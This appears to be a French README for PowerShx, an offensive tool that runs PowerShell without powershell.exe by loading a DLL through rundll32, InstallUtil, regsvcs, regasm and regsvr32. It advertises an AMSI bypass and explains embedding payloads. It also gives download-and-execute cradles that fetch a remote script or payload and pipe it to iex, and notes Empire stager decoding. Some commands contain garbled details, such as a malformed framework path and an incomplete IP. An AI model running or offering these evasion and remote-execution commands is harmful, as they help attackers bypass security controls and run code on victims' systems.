
Exécutez Powershell sans restrictions logicielles.
Exécution PowerShell non managée à l'aide de DLLs ou d'un exécutable autonome.
PowerShx est une réécriture et une extension du projet PowerShdll. PowerShx fournit des fonctionnalités pour contourner AMSI et exécuter des cmdlets PowerShell.
rundll32 PowerShx.dll,main -e <script PS à exécuter>
rundll32 PowerShx.dll,main -f <chemin> Exécute le script passé en argument
rundll32 PowerShx.dll,main -f <chemin> -c <cmdlet PS> Charge un script et exécute une cmdlet PS
rundll32 PowerShx.dll,main -w Démarre une console interactive dans une nouvelle fenêtre
rundll32 PowerShx.dll,main -i Démarre une console interactive
rundll32 PowerShx.dll,main -s Tente de contourner AMSI
rundll32 PowerShx.dll,main -v Affiche la sortie d'exécution dans la console
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4.
regsvr32 /s /u PowerShx.dll --> Appelle DllUnregisterServer
regsvr32 /s PowerShx.dll --> Appelle DllRegisterServer
PowerShx.exe -i Démarre une console interactive
PowerShx.exe -e <script PS à exécuter>
PowerShx.exe -f <chemin> Exécute le script passé en argument
PowerShx.exe -f <chemin> -c <cmdlet PS> Charge un script et exécute une cmdlet PS
PowerShx.exe -s Tente de contourner AMSI.
Des charges utiles peuvent être intégrées en mettant à jour le dictionnaire de données "Common.Payloads.PayloadDict" dans le projet "Common" et en l'appelant dans la méthode PsSession.cs -> Handle(). Exemple : dans la méthode Handle() :
private void Handle(Options options)
{
// Exécution préalable au script utilisateur
_ps.Exe(Payloads.PayloadDict["amsi"]);
}
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
Remarque : Les stagers Empire doivent être décodés avec [System.Text.Encoding]::Unicode.
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"
.NET 4
Certaines erreurs ne semblent pas s'afficher dans la sortie. Cela peut être déroutant car des commandes telles que Import-Module n'affichent pas d'erreur en cas d'échec. Assurez-vous d'avoir correctement saisi vos commandes.
En mode DLL, le mode interactif et la sortie des commandes reposent sur le détournement de la console du processus parent. Si le processus parent n'a pas de console, utilisez le commutateur -n pour ne pas afficher la sortie, sinon l'application plantera.
En raison de la façon dont Rundll32 gère les arguments, l'utilisation de plusieurs espaces entre les commutateurs et les arguments peut poser problème. Les espaces multiples à l'intérieur des scripts sont acceptables.